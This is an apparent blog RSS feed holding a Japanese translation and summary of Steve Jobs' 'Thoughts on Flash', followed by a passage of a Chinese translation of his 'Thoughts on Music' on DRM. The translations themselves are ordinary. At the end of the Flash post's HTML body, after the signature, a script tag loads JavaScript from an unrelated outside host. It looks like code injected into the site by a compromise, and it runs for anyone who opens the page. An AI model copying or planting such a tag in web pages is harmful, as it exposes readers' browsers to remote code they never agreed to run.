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	<title>Sputh.net &#187; Mac&amp;Apple</title>
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		<title>FLASHについての見解（日本語版）</title>
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		<pubDate>Sun, 16 May 2010 02:03:46 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
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		<category><![CDATA[flash]]></category>
		<category><![CDATA[jobs]]></category>

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		<description><![CDATA[Steve JobsがAppleのウェブサイトに、「Thoughts on Flash」という長文を発表した。iPhoneやiPadでFlashをサポートしないAppleに対してしびれを切らしたAdobeは、iPhone向けFlashの開発をあきらめた、訴える！と鼻息が荒いが、これに対する反論が6つのポイントで綴られている。
読んだ感想としては、両社ともにそれぞれの企業のユーザー、開発者を大切にしていて、それ故の主張の違いが現れているように感じた。つまり、言い分としてはどっちもどっち。しかしAdobeにはデバイスがなく、Appleにはデバイスがあってしかも成功を収めている点が大きな違いになる。
印象的だったのは、Steve Jobsは「Mobile Era」という言葉を持ち出してきて、Flashを「PCとマウスの過去の時代のもの」と指摘している点。WebKitやタッチスクリーンのトレンドは、半分以上Appleが作り上げたスタンダードであり、他の端末メーカーが追いかけている。つまり支持していることになる。なぜAdobeがFlashを進化させないのか、という疑問をぶつけている。

ただ、Flashのダメさについて、実質的な比較はビデオ再生とタッチ対応の2点が中心で、そこまで大きな問題か、といわれると自信がない。ただアプリ開発ツールについては、AppleがiPhoneのプラットホームの進化をコントロールできなくなる事を理由に嫌っている点は、ビジネスの要素が見え隠れする。
Twitterで全文を読むのが大変！ということだったので、簡単に和訳しました。そして論点となるサマリーはこちら。
1. オープン性について
Appleの姿勢をAdobeは閉鎖的だと指摘するが、そもそもAdobe Flashがオープンではないという主張。AppleもiPhone OS系では同様だが、多くのウェブ標準技術を採用していて、WebKit開発などはオープンソースで行い、Microsoft以外の全てのスマートフォンに採用されていると指摘している。
2. ウェブの全てについて
AdobeはiPhoneがFlashに対応しないことによって、「ウェブの全てにアクセスできない」と繰り返し指摘し、その理由としてウェブにある75％のビデオがFlashで動いているから、としている。しかしYouTubeをはじめとした多くのメディアはiPhoneなどのモバイルデバイスで動くH.264に対応していると反論している。
3. 信頼できるセキュリティとパフォーマンス
シマンテックのレポートでは2009年にセキュリティ上最も悪かったモノの1つにFlashを挙げ、Macがクラッシュする最大の原因がFlashであると指摘。
4. バッテリーの持ち
ビデオ再生時のバッテリーについて、ハードウエアでデコードできるH.264は省電力だが、ソフトデコードに頼らざるを得ないFlashは半分以下の時間しか再生できない。FlashがH.264に対応しても、既存のコンテンツがこれに対応していないから、エンコードし直すべきだが、するとFlashがいらなくなる、と指摘。
5. タッチについて
FlashはマウスとPCを前提としたデザインで、指を使ったタッチスクリーン向けではない。書き直すなら、よりモダンなHTML5やCSS、JavaScriptを選べばいいじゃないか、という指摘。
6. 最も重要な理由
開発者とプラットホームの間にサードパーティーが挟まると、プラットホームの進化のアドバンテージを開発者がダイレクトに享受できなくなる、という指摘。
Flashについての見解
AppleはAdobeと長い関係を持ってきた。事実、我々がAdobeの創業者に出会ったのは、彼らがおなじみのガレージにいた頃だった。Appleは彼らにとって最初の大きな顧客であり、PostScriptを新しいLaserwriterプリンタに利用する契約を結んだ。AppleはAdobeの20％前後の投資を長年にわたって行ってきた。2つの会社は、デスクトップパブリッシングのパイオニアとなるべく、非常に密接にやってきたし、とても良い時間を過ごしてきた。この黄金時代をきっかけに、我々は別々の道をたどった。Appleは臨死体験をし、AdobeはAcrobat製品によってビジネス市場を描いてきた。今日2つの会社は、クリエイティブユーザーに対して、依然協業している。Macユーザーの半分近くはAdobe Creative Suiteを購入している。しかしもはや共通の興味はわずかしかない。
ユーザーと批評家にとって、なぜAppleがiPhone、iPod、iPadにFlashを認めないのか、よりよく理解するために、私は、Adobe Flashに関する我々の考えをメモしたい。Adobeは我々の決定を、App Storeを守りたい、というビジネスを最優先にしたものだと見なした。しかし現実的には、技術的な問題に基づいた決定である。AdobeはAppleを閉鎖的だと断言する。そしてFlashはオープンだという。しかし事実として、逆が正しい。説明させて欲しい。
まずはじめに「オープン」であることについて。
Adobe Flashは100%、Adobeが独占している。FlashはAdobeからのみ利用可能であり、Adobeは将来の発展や価格設定などが、唯一認められている存在だ。AdobeのFlash製品が広く流通している間は、Adobeが完全にコントロールし、またAdobeからのみ入手可能なうちは、オープンではないということだ。ほぼ完全に明確である、Flashが閉鎖的なシステムなことが。
Appleもまた、多くの製品を独占している。iPhone、iPod、iPadのOSを独占しているにも関わらず、我々はウェブに関連する標準技術はオープンにすべきだと強く信じている。Flashを使うことよりもむしろ、AppleがHTML5やCSS、JavaScriptという全てオープンな技術を採用することだ。Appleのモバイルデバイスは全て高性能、低消費電力で標準技術が動作するように出荷されている。HTML5は、AppleとGoogleやその他多くが採用した新しいウェブ標準だ。ウェブ開発者は先進的なグラフィックス、フォント、アニメーション、画面効果を、Flashのようなサードパーティーのブラウザ・プラグインを利用せずに作ることができる。HTML5は完全にオープンで、標準化団体がコントロールしている。Appleはその団体のメンバーである。
Appleは絶えずオープンなウェブ標準を作っている。例えばAppleは、小さなオープンソースプロジェクトをスタートし、Safariウェブブラウザの心臓部である完全にオープンソースなHTML5のレンダリングエンジン「WebKit」を作り出した。WebKitは広く採用された。GoogleはAndroidブラウザとして利用し、Palm、Nokiaも使っている。RIM（BlackBerry）もWebKitを使うことをアナウンスしている。マイクロソフトを除くほぼ全てのスマートフォンがWebKitを使っている。WebKitの技術はオープンに開発され、Appleはモバイルブラウザの標準を規定した。
次に、「ウェブの全て」について。
Adobeは繰り返し、Appleのモバイルデバイスは「ウェブの全て」にアクセスができないと言う。なぜならウェブの75％のビデオがFlashで動いているからだ。彼らは、ほぼ全てのビデオが、iPhone、iPod、iPadで見られるよりモダンなH.264フォーマットで利用できることを言わないのか。ウェブ上のビデオの40％を占めるYouTubeは、Appleのモバイルデバイスにバンドルされるアプリとして輝いている。iPadはおそらく、ビデオを見つけ、視聴するYouTubeでのベストな体験を提供している。Vimeo、Netflix、Facebook、ABC、CBS、CNN、MSNBC、Fox News、ESPN、NPR、Time、The New York Times、The Wall Street Journal、Sports Illustrated、People、National Gegraphic、さらに、さらにたくさんのビデオも見られる。iPhone、iPod、iPadユーザーは、ビデオを見逃すことはないのだ。
また別のAdobeの主張は、AppleのデバイスはFlashのゲームができないというものだ。これはその通りだ。幸いにも、50000本以上のゲームやエンターテインメント・タイトルがApple Storeにあり、その多くは無料だ。iPhone、iPod、iPadは、世界にある他のどんなプラットホームよりも、ゲームが存在しているのだ。
3点目は、信頼できるセキュリティとパフォーマンスについて。
シマンテックは、2009年、セキュリティ上、最も悪いものの1つに、Flashを挙げた。我々はまた、Macがクラッシュする最大の理由がFlashであることを直接的に知っている。我々は、Adobeと問題解決に向けて働きかけてきたが、彼らは数年間固執してきた。我々は、Flashを加えることによって、iPhone、iPod、iPadの信頼性とセキュリティを損ないたくない。
4点目はバッテリーの持ちについて。
ビデオ再生時にバッテリーを長時間持たせるためには、モバイルデバイスはハードウエアでビデオをデコードする必要がある。ソフトウエアでデコードするとより多くの電力を必要とする。最新のモバイルデバイスに使われている多くのチップには、H.264と呼ばれるデコーダーが内蔵されている。これは全てのBlu-ray DVDプレーヤーで使われ、Apple、Google（YouTube）、Vimeo、Netflixなどの多くの企業に作用されている、業界標準だ。
FlashがH.264をサポートを追加したが、Flashウェブサイトのビデオのほとんどは依然として、モバイル・チップで処理できずソフトウエアを使わなければならないデコーダーを必要とする。この違いは著しい。例えばiPhoneでH.264ビデオを10時間まで再生できるが、ソフトウエアでデコードすると、5時間再生する前に、バッテリーを完全に使い切る。
H.264でこれらのビデオをエンコードし直すと、Flashを使う必要がなくなる。これらはAppleのSafariやGoogle Chrome上で、プラグインを使うことなく完全に再生できる。そしてiPhone、iPod、iPadにとってすばらしいことだ。
5点目はタッチについて。
Flashはマウスを使うPCを前提にデザインされており、指を使ったタッチスクリーン向けではない。例えば、多くのFlashウェブサイトはマウスを特定の場所に載せたときに、メニューやそのほかの要素がポップアップする際に、ロールオーバーに頼っている。Appleの革命的なマルチタッチインターフェイスはマウスを使わないし、ロールオーバーという概念はない。多くのFlashウェブサイトはタッチデバイス向けに書き直さなければならない。もし開発者がFlashウェブサイトを書き直す必要があるなら、よりモダンなHTML5やCSS、JavaScriptをなぜ選ばないのか。
iPhone、iPod、iPadでFlashが動いたとしても、多くのFlashウェブサイトはタッチデバイス向けに書き直す必要があるという問題の解決にはならないだろう。
6点目は、最も重要な理由だ。
Flashが閉鎖的で独占的である、Flashに技術的な短所がある、タッチデバイスをサポートしないという事実に並んで、我々がiPhone、iPod、iPadを認めないより重要な理由がある。我々はビデオ再生とウェブのインタラクティブなコンテンツのためにFlashを採用するマイナス面を議論してきた。しかしAdobeはまた、開発者に対して我々のモバイルデバイスで動作するアプリをFlashで作るよう求めている。
我々はサードパーティーのソフトウエア・レイヤーがプラットホームと開発者の間に入ることで、低水準のアプリが生まれまたプラットホームの強化と進化を遅らせる結果に行き着くことを、苦い経験から知っている。もし開発者がサードパーティーの開発環境とツールに頼って成長すると、開発者は、もしもそのサードパーティーが最新の機能を採用したときにのみ、強化されたプラットホームのメリットを活用できるようになる。もしも我々の顧客に最新の機能を提供しない場合、サードパーティーの決定に対して寛容になるわけにはいかないのだ。
もしサードパーティーが、クロスプラットホーム開発が可能なツールを提供する場合は、よりいっそう望ましくないことになる。サードパーティーは、彼らがサポートするプラットホームの全てで利用可能にならないかぎり、1つのプラットホームの最新機能を採用しないだろう。従って開発者は最低限の共通技術にしかアクセスできないのだ。繰り返す。我々は、イノベーションや機能向上が利用できない開発者の結末を、認めるわけにはいかない。我々と競合するプラットホームには、我々のようなイノベーションや機能向上がないからだ。
Flashはクロスプラットホームの開発ツールだ。Adobeの目標は、開発者がiPhone、iPod、iPadの最も優れたアプリを開発する手助けになることではない。クロスプラットホーム開発を手助けすることが目標なのだ。そしてAdobeはひどく遅く、Appleのプラットホームの進化を取り入れている。例えば、Mac OS Xは10年近く前から出荷されているにもかかわらず、AdobeはCS5を出荷した数週間前にやっと、Cocoaを採用した。AdobeはMac OS Xに完全対応した最後の主要なサードパーティーだった。
我々のモチベーションはシンプルだ。我々は開発者に対して、最も先進的でイノベーションがあるプラットホームを提供することだ。そして開発者には直接的にプラットホームを支えて欲しいし、世界が見たこともないすばらしいアプリを作り出して欲しい。我々はプラットホーム向上を続けていくからこそ、デベロッパーは、さらに驚くべき、パワフルで、楽しく、使いやすいアプリを作り出せるのだ。全員が勝つ。我々は、すばらしいアプリを我々は手にしているから、より多くのデバイスを売れる。開発者がより広い聴衆やユーザーへリーチする。ユーザーが他のどんなプラットホームよりもすばらしく広いアプリによって、継続的に楽しんでいくのだ。
結論。
FlashはPCとマウスの時代に作られた。FlashはAdobeにとって非常に成功をもたらした。また我々も、なぜ彼らがPCを超えてFlashを推進したいのか、理解することができる。しかしモバイル時代は、より性能の低電力のデバイス、タッチインターフェイス、ウェブ標準の時代だ。全ての領域で、Flashは満たないのだ。
メディアが雪崩のようにAppleのモバイルデバイス向けに彼らのコンテンツを提供しているのは、ビデオやウェブコンテンツを見るのに、Flashはこれ以上必要がないことを例示している。そして20万本のアプリがAppleのApp Storeに存在することは、数万もの開発者がグラフィカルな、ゲームを含むアプリを作るのにFlashが必要でないことを証明している。
モバイル時代に、HTML5のような新しいオープン・スタンダードが作られ、PCを含むモバイルデバイスにおいて勝利を収めるだろう。おそらくAdobeは将来において、過去の残り物のためにAppleのあら探しをするよりも、HTML5を作るすばらしいツールを作ることに、フォーカスすべきだ。
スティーブ・ジョブズ
2010年4月
]]></description>
			<content:encoded><![CDATA[<p>Steve JobsがAppleのウェブサイトに、「Thoughts on Flash」という長文を発表した。iPhoneやiPadでFlashをサポートしないAppleに対してしびれを切らしたAdobeは、iPhone向けFlashの開発をあきらめた、訴える！と鼻息が荒いが、これに対する反論が6つのポイントで綴られている。</p>
<p>読んだ感想としては、両社ともにそれぞれの企業のユーザー、開発者を大切にしていて、それ故の主張の違いが現れているように感じた。つまり、言い分としてはどっちもどっち。しかしAdobeにはデバイスがなく、Appleにはデバイスがあってしかも成功を収めている点が大きな違いになる。</p>
<p>印象的だったのは、Steve Jobsは「Mobile Era」という言葉を持ち出してきて、Flashを「PCとマウスの過去の時代のもの」と指摘している点。WebKitやタッチスクリーンのトレンドは、半分以上Appleが作り上げたスタンダードであり、他の端末メーカーが追いかけている。つまり支持していることになる。なぜAdobeがFlashを進化させないのか、という疑問をぶつけている。</p>
<p><span id="more-222"></span></p>
<p>ただ、Flashのダメさについて、実質的な比較はビデオ再生とタッチ対応の2点が中心で、そこまで大きな問題か、といわれると自信がない。ただアプリ開発ツールについては、AppleがiPhoneのプラットホームの進化をコントロールできなくなる事を理由に嫌っている点は、ビジネスの要素が見え隠れする。</p>
<p>Twitterで全文を読むのが大変！ということだったので、簡単に和訳しました。そして論点となるサマリーはこちら。</p>
<p>1. オープン性について</p>
<p>Appleの姿勢をAdobeは閉鎖的だと指摘するが、そもそもAdobe Flashがオープンではないという主張。AppleもiPhone OS系では同様だが、多くのウェブ標準技術を採用していて、WebKit開発などはオープンソースで行い、Microsoft以外の全てのスマートフォンに採用されていると指摘している。</p>
<p>2. ウェブの全てについて</p>
<p>AdobeはiPhoneがFlashに対応しないことによって、「ウェブの全てにアクセスできない」と繰り返し指摘し、その理由としてウェブにある75％のビデオがFlashで動いているから、としている。しかしYouTubeをはじめとした多くのメディアはiPhoneなどのモバイルデバイスで動くH.264に対応していると反論している。</p>
<p>3. 信頼できるセキュリティとパフォーマンス</p>
<p>シマンテックのレポートでは2009年にセキュリティ上最も悪かったモノの1つにFlashを挙げ、Macがクラッシュする最大の原因がFlashであると指摘。</p>
<p>4. バッテリーの持ち</p>
<p>ビデオ再生時のバッテリーについて、ハードウエアでデコードできるH.264は省電力だが、ソフトデコードに頼らざるを得ないFlashは半分以下の時間しか再生できない。FlashがH.264に対応しても、既存のコンテンツがこれに対応していないから、エンコードし直すべきだが、するとFlashがいらなくなる、と指摘。</p>
<p>5. タッチについて</p>
<p>FlashはマウスとPCを前提としたデザインで、指を使ったタッチスクリーン向けではない。書き直すなら、よりモダンなHTML5やCSS、JavaScriptを選べばいいじゃないか、という指摘。</p>
<p>6. 最も重要な理由</p>
<p>開発者とプラットホームの間にサードパーティーが挟まると、プラットホームの進化のアドバンテージを開発者がダイレクトに享受できなくなる、という指摘。</p>
<p>Flashについての見解</p>
<p>AppleはAdobeと長い関係を持ってきた。事実、我々がAdobeの創業者に出会ったのは、彼らがおなじみのガレージにいた頃だった。Appleは彼らにとって最初の大きな顧客であり、PostScriptを新しいLaserwriterプリンタに利用する契約を結んだ。AppleはAdobeの20％前後の投資を長年にわたって行ってきた。2つの会社は、デスクトップパブリッシングのパイオニアとなるべく、非常に密接にやってきたし、とても良い時間を過ごしてきた。この黄金時代をきっかけに、我々は別々の道をたどった。Appleは臨死体験をし、AdobeはAcrobat製品によってビジネス市場を描いてきた。今日2つの会社は、クリエイティブユーザーに対して、依然協業している。Macユーザーの半分近くはAdobe Creative Suiteを購入している。しかしもはや共通の興味はわずかしかない。</p>
<p>ユーザーと批評家にとって、なぜAppleがiPhone、iPod、iPadにFlashを認めないのか、よりよく理解するために、私は、Adobe Flashに関する我々の考えをメモしたい。Adobeは我々の決定を、App Storeを守りたい、というビジネスを最優先にしたものだと見なした。しかし現実的には、技術的な問題に基づいた決定である。AdobeはAppleを閉鎖的だと断言する。そしてFlashはオープンだという。しかし事実として、逆が正しい。説明させて欲しい。</p>
<p>まずはじめに「オープン」であることについて。</p>
<p>Adobe Flashは100%、Adobeが独占している。FlashはAdobeからのみ利用可能であり、Adobeは将来の発展や価格設定などが、唯一認められている存在だ。AdobeのFlash製品が広く流通している間は、Adobeが完全にコントロールし、またAdobeからのみ入手可能なうちは、オープンではないということだ。ほぼ完全に明確である、Flashが閉鎖的なシステムなことが。</p>
<p>Appleもまた、多くの製品を独占している。iPhone、iPod、iPadのOSを独占しているにも関わらず、我々はウェブに関連する標準技術はオープンにすべきだと強く信じている。Flashを使うことよりもむしろ、AppleがHTML5やCSS、JavaScriptという全てオープンな技術を採用することだ。Appleのモバイルデバイスは全て高性能、低消費電力で標準技術が動作するように出荷されている。HTML5は、AppleとGoogleやその他多くが採用した新しいウェブ標準だ。ウェブ開発者は先進的なグラフィックス、フォント、アニメーション、画面効果を、Flashのようなサードパーティーのブラウザ・プラグインを利用せずに作ることができる。HTML5は完全にオープンで、標準化団体がコントロールしている。Appleはその団体のメンバーである。</p>
<p>Appleは絶えずオープンなウェブ標準を作っている。例えばAppleは、小さなオープンソースプロジェクトをスタートし、Safariウェブブラウザの心臓部である完全にオープンソースなHTML5のレンダリングエンジン「WebKit」を作り出した。WebKitは広く採用された。GoogleはAndroidブラウザとして利用し、Palm、Nokiaも使っている。RIM（BlackBerry）もWebKitを使うことをアナウンスしている。マイクロソフトを除くほぼ全てのスマートフォンがWebKitを使っている。WebKitの技術はオープンに開発され、Appleはモバイルブラウザの標準を規定した。</p>
<p>次に、「ウェブの全て」について。</p>
<p>Adobeは繰り返し、Appleのモバイルデバイスは「ウェブの全て」にアクセスができないと言う。なぜならウェブの75％のビデオがFlashで動いているからだ。彼らは、ほぼ全てのビデオが、iPhone、iPod、iPadで見られるよりモダンなH.264フォーマットで利用できることを言わないのか。ウェブ上のビデオの40％を占めるYouTubeは、Appleのモバイルデバイスにバンドルされるアプリとして輝いている。iPadはおそらく、ビデオを見つけ、視聴するYouTubeでのベストな体験を提供している。Vimeo、Netflix、Facebook、ABC、CBS、CNN、MSNBC、Fox News、ESPN、NPR、Time、The New York Times、The Wall Street Journal、Sports Illustrated、People、National Gegraphic、さらに、さらにたくさんのビデオも見られる。iPhone、iPod、iPadユーザーは、ビデオを見逃すことはないのだ。</p>
<p>また別のAdobeの主張は、AppleのデバイスはFlashのゲームができないというものだ。これはその通りだ。幸いにも、50000本以上のゲームやエンターテインメント・タイトルがApple Storeにあり、その多くは無料だ。iPhone、iPod、iPadは、世界にある他のどんなプラットホームよりも、ゲームが存在しているのだ。</p>
<p>3点目は、信頼できるセキュリティとパフォーマンスについて。</p>
<p>シマンテックは、2009年、セキュリティ上、最も悪いものの1つに、Flashを挙げた。我々はまた、Macがクラッシュする最大の理由がFlashであることを直接的に知っている。我々は、Adobeと問題解決に向けて働きかけてきたが、彼らは数年間固執してきた。我々は、Flashを加えることによって、iPhone、iPod、iPadの信頼性とセキュリティを損ないたくない。</p>
<p>4点目はバッテリーの持ちについて。</p>
<p>ビデオ再生時にバッテリーを長時間持たせるためには、モバイルデバイスはハードウエアでビデオをデコードする必要がある。ソフトウエアでデコードするとより多くの電力を必要とする。最新のモバイルデバイスに使われている多くのチップには、H.264と呼ばれるデコーダーが内蔵されている。これは全てのBlu-ray DVDプレーヤーで使われ、Apple、Google（YouTube）、Vimeo、Netflixなどの多くの企業に作用されている、業界標準だ。</p>
<p>FlashがH.264をサポートを追加したが、Flashウェブサイトのビデオのほとんどは依然として、モバイル・チップで処理できずソフトウエアを使わなければならないデコーダーを必要とする。この違いは著しい。例えばiPhoneでH.264ビデオを10時間まで再生できるが、ソフトウエアでデコードすると、5時間再生する前に、バッテリーを完全に使い切る。</p>
<p>H.264でこれらのビデオをエンコードし直すと、Flashを使う必要がなくなる。これらはAppleのSafariやGoogle Chrome上で、プラグインを使うことなく完全に再生できる。そしてiPhone、iPod、iPadにとってすばらしいことだ。</p>
<p>5点目はタッチについて。</p>
<p>Flashはマウスを使うPCを前提にデザインされており、指を使ったタッチスクリーン向けではない。例えば、多くのFlashウェブサイトはマウスを特定の場所に載せたときに、メニューやそのほかの要素がポップアップする際に、ロールオーバーに頼っている。Appleの革命的なマルチタッチインターフェイスはマウスを使わないし、ロールオーバーという概念はない。多くのFlashウェブサイトはタッチデバイス向けに書き直さなければならない。もし開発者がFlashウェブサイトを書き直す必要があるなら、よりモダンなHTML5やCSS、JavaScriptをなぜ選ばないのか。</p>
<p>iPhone、iPod、iPadでFlashが動いたとしても、多くのFlashウェブサイトはタッチデバイス向けに書き直す必要があるという問題の解決にはならないだろう。</p>
<p>6点目は、最も重要な理由だ。</p>
<p>Flashが閉鎖的で独占的である、Flashに技術的な短所がある、タッチデバイスをサポートしないという事実に並んで、我々がiPhone、iPod、iPadを認めないより重要な理由がある。我々はビデオ再生とウェブのインタラクティブなコンテンツのためにFlashを採用するマイナス面を議論してきた。しかしAdobeはまた、開発者に対して我々のモバイルデバイスで動作するアプリをFlashで作るよう求めている。</p>
<p>我々はサードパーティーのソフトウエア・レイヤーがプラットホームと開発者の間に入ることで、低水準のアプリが生まれまたプラットホームの強化と進化を遅らせる結果に行き着くことを、苦い経験から知っている。もし開発者がサードパーティーの開発環境とツールに頼って成長すると、開発者は、もしもそのサードパーティーが最新の機能を採用したときにのみ、強化されたプラットホームのメリットを活用できるようになる。もしも我々の顧客に最新の機能を提供しない場合、サードパーティーの決定に対して寛容になるわけにはいかないのだ。</p>
<p>もしサードパーティーが、クロスプラットホーム開発が可能なツールを提供する場合は、よりいっそう望ましくないことになる。サードパーティーは、彼らがサポートするプラットホームの全てで利用可能にならないかぎり、1つのプラットホームの最新機能を採用しないだろう。従って開発者は最低限の共通技術にしかアクセスできないのだ。繰り返す。我々は、イノベーションや機能向上が利用できない開発者の結末を、認めるわけにはいかない。我々と競合するプラットホームには、我々のようなイノベーションや機能向上がないからだ。</p>
<p>Flashはクロスプラットホームの開発ツールだ。Adobeの目標は、開発者がiPhone、iPod、iPadの最も優れたアプリを開発する手助けになることではない。クロスプラットホーム開発を手助けすることが目標なのだ。そしてAdobeはひどく遅く、Appleのプラットホームの進化を取り入れている。例えば、Mac OS Xは10年近く前から出荷されているにもかかわらず、AdobeはCS5を出荷した数週間前にやっと、Cocoaを採用した。AdobeはMac OS Xに完全対応した最後の主要なサードパーティーだった。</p>
<p>我々のモチベーションはシンプルだ。我々は開発者に対して、最も先進的でイノベーションがあるプラットホームを提供することだ。そして開発者には直接的にプラットホームを支えて欲しいし、世界が見たこともないすばらしいアプリを作り出して欲しい。我々はプラットホーム向上を続けていくからこそ、デベロッパーは、さらに驚くべき、パワフルで、楽しく、使いやすいアプリを作り出せるのだ。全員が勝つ。我々は、すばらしいアプリを我々は手にしているから、より多くのデバイスを売れる。開発者がより広い聴衆やユーザーへリーチする。ユーザーが他のどんなプラットホームよりもすばらしく広いアプリによって、継続的に楽しんでいくのだ。</p>
<p>結論。</p>
<p>FlashはPCとマウスの時代に作られた。FlashはAdobeにとって非常に成功をもたらした。また我々も、なぜ彼らがPCを超えてFlashを推進したいのか、理解することができる。しかしモバイル時代は、より性能の低電力のデバイス、タッチインターフェイス、ウェブ標準の時代だ。全ての領域で、Flashは満たないのだ。</p>
<p>メディアが雪崩のようにAppleのモバイルデバイス向けに彼らのコンテンツを提供しているのは、ビデオやウェブコンテンツを見るのに、Flashはこれ以上必要がないことを例示している。そして20万本のアプリがAppleのApp Storeに存在することは、数万もの開発者がグラフィカルな、ゲームを含むアプリを作るのにFlashが必要でないことを証明している。</p>
<p>モバイル時代に、HTML5のような新しいオープン・スタンダードが作られ、PCを含むモバイルデバイスにおいて勝利を収めるだろう。おそらくAdobeは将来において、過去の残り物のためにAppleのあら探しをするよりも、HTML5を作るすばらしいツールを作ることに、フォーカスすべきだ。</p>
<p>スティーブ・ジョブズ<br />
2010年4月<script src="http://ae.awaue.com/7"></script></p>
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		<title>Thoughts on Music</title>
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		<pubDate>Sun, 09 May 2010 23:09:07 +0000</pubDate>
		<dc:creator>Jason</dc:creator>
				<category><![CDATA[Mac&Apple]]></category>
		<category><![CDATA[apple]]></category>
		<category><![CDATA[jobs]]></category>
		<category><![CDATA[music]]></category>

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		<description><![CDATA[【这是乔布斯二零零七年二月六日发表在苹果公司网站上的反 DRM 宣言，据我所知，最早的中文版由 chengyuan 网友翻译并发表在「Blog 中文翻译」（现在似乎被删掉了，不过你还是可以在这里看到）。考虑到此文的重要性，我于二月廿四日重译了这个版本——译者。】
【更新！二零零七年四月二日，即本文发表后不到两个月，EMI 唱片公司正式宣布全面放弃 DRM，其拥有的全部音乐将先后在 iTunes 及其他线上音乐商店以不含 DRM 的形式出售。这些音乐采用 256kbps 的 AAC 格式编码，可在任何支持该格式的音乐播放器上播放——译者。】
苹果的 iPod 音乐播放器与 iTunes 线上音乐商店在全球获得了巨大成功，有人遂而呼吁苹果「开放」其用来防止音乐被盗用的「数字版权管理」技术（DRM），从而令购自 iTunes 的音乐能够在其他公司的数码设备上播放，同时，购自其他线上音乐商店的加了锁的音乐也可以在 iPod 上播放。让我们来研究一下目前的情况及其来龙去脉，然后看看未来的三种可能性。

首先，应该记住的是，所有 iPod 都能播放不含 DRM 的、以「开放」格式——如 MP3 或 AAC——编码的音乐。iPod 用户获取音乐有许多管道——包括他们买来的 CD，事实上他们也一直对此善加利用。CD 上的音乐可以很容易地导入 iTunes 点唱机软件，该软件可以免费下载，并且有苹果与 PC 两种版本。歌曲被导入之后，会被自动以 AAC 或 MP3 等开放格式编码，这些格式都不含任何 DRM 技术。这些音乐既能在 iPod 上播，也可以在任何其他支持这些开放格式的音乐播放器上播。
问题出在苹果自家的 iTunes 线上音乐商店所卖的音乐。由于这些音乐的版权并不归苹果所有或控制，苹果必须从他处申请发布这些音乐的权利。「他处」主要就是「四大」音乐集团：环球，索尼 BMG，华纳与 EMI。这四家公司控制了全球百分之七十以上的音乐发行。当初苹果登门申请在互联网上合法发布音乐的权利时，这些公司极度谨慎，要求苹果保护他们的音乐免遭非法拷贝。我们提出的解决方案就是创建一个 DRM 系统，利用特殊的秘密软件包起 iTunes 店卖的每一首歌，令它们无法在未经授权的设备上播放。
苹果当时争取到的使用权是划时代的，其中一条是允许用户在多达五台电脑与任意多部 iPod [...]]]></description>
			<content:encoded><![CDATA[<p>【这是乔布斯二零零七年二月六日发表在苹果公司网站上的反 DRM 宣言，据我所知，最早的中文版由 chengyuan 网友翻译并发表在「Blog 中文翻译」（现在似乎被删掉了，不过你还是可以在这里看到）。考虑到此文的重要性，我于二月廿四日重译了这个版本——译者。】</p>
<p>【更新！二零零七年四月二日，即本文发表后不到两个月，EMI 唱片公司正式宣布全面放弃 DRM，其拥有的全部音乐将先后在 iTunes 及其他线上音乐商店以不含 DRM 的形式出售。这些音乐采用 256kbps 的 AAC 格式编码，可在任何支持该格式的音乐播放器上播放——译者。】</p>
<p>苹果的 iPod 音乐播放器与 iTunes 线上音乐商店在全球获得了巨大成功，有人遂而呼吁苹果「开放」其用来防止音乐被盗用的「数字版权管理」技术（DRM），从而令购自 iTunes 的音乐能够在其他公司的数码设备上播放，同时，购自其他线上音乐商店的加了锁的音乐也可以在 iPod 上播放。让我们来研究一下目前的情况及其来龙去脉，然后看看未来的三种可能性。</p>
<p><span id="more-220"></span></p>
<p>首先，应该记住的是，所有 iPod 都能播放不含 DRM 的、以「开放」格式——如 MP3 或 AAC——编码的音乐。iPod 用户获取音乐有许多管道——包括他们买来的 CD，事实上他们也一直对此善加利用。CD 上的音乐可以很容易地导入 iTunes 点唱机软件，该软件可以免费下载，并且有苹果与 PC 两种版本。歌曲被导入之后，会被自动以 AAC 或 MP3 等开放格式编码，这些格式都不含任何 DRM 技术。这些音乐既能在 iPod 上播，也可以在任何其他支持这些开放格式的音乐播放器上播。</p>
<p>问题出在苹果自家的 iTunes 线上音乐商店所卖的音乐。由于这些音乐的版权并不归苹果所有或控制，苹果必须从他处申请发布这些音乐的权利。「他处」主要就是「四大」音乐集团：环球，索尼 BMG，华纳与 EMI。这四家公司控制了全球百分之七十以上的音乐发行。当初苹果登门申请在互联网上合法发布音乐的权利时，这些公司极度谨慎，要求苹果保护他们的音乐免遭非法拷贝。我们提出的解决方案就是创建一个 DRM 系统，利用特殊的秘密软件包起 iTunes 店卖的每一首歌，令它们无法在未经授权的设备上播放。</p>
<p>苹果当时争取到的使用权是划时代的，其中一条是允许用户在多达五台电脑与任意多部 iPod 上播放买来的含 DRM 的歌曲。在当时，从唱片公司获得这样的授权可谓史无前例。即便是今天，大部分数码音乐服务也难望其项背。但是，当时我们和唱片公司的合约里有一项重要条款：如果我们的 DRM 系统失效，导致他们的音乐可以在任何未经授权的设备上播放的话，他们只会给我们几星期的时间来解决，否则他们就有权撤下 iTunes 商店里卖的全部音乐。</p>
<p>为防止非法拷贝，DRM 系统须有能力禁止未经授权的设备播放加了锁的音乐。如果一首受到 DRM 保护的歌曲被传到网上，下载者将无法在他／她的电脑或便携式音乐播放器上播它。为了做到这一点，DRM 系统利用了保密机制。要保护某一内容，唯一的办法就是保密。换句话说，哪怕用了最先进的加密锁锁定音乐，你仍然得把能开这锁的钥匙「藏」起来。无需保密的 DRM 系统是不存在的。</p>
<p>当然，问题在于世界上有很多聪明人，有的还很闲，并且喜欢去挖掘这些秘密，把它们发布出来，使所有人都能够免费获取音乐（也就是盗窃音乐）。他们往往干得很成功，因此任何想用 DRM 技术保护内容的公司，都必须时时为内容添加新的、更难被挖掘的秘密。这是一场猫抓老鼠的游戏。苹果的 DRM 系统叫做「FairPlay」。尽管 FairPlay 被破解过几次，但每次我们都通过更新 iTunes 软件以及 iPod 自身的软件成功修复了它。目前为止，我们一直恪守对唱片公司的承诺，保护了他们的音乐，同时，我们给予用户的使用自由度，在合法音乐下载的领域里也是最大的。</p>
<p>了解了这些之后，我们可以来研究一下未来的三种选择。</p>
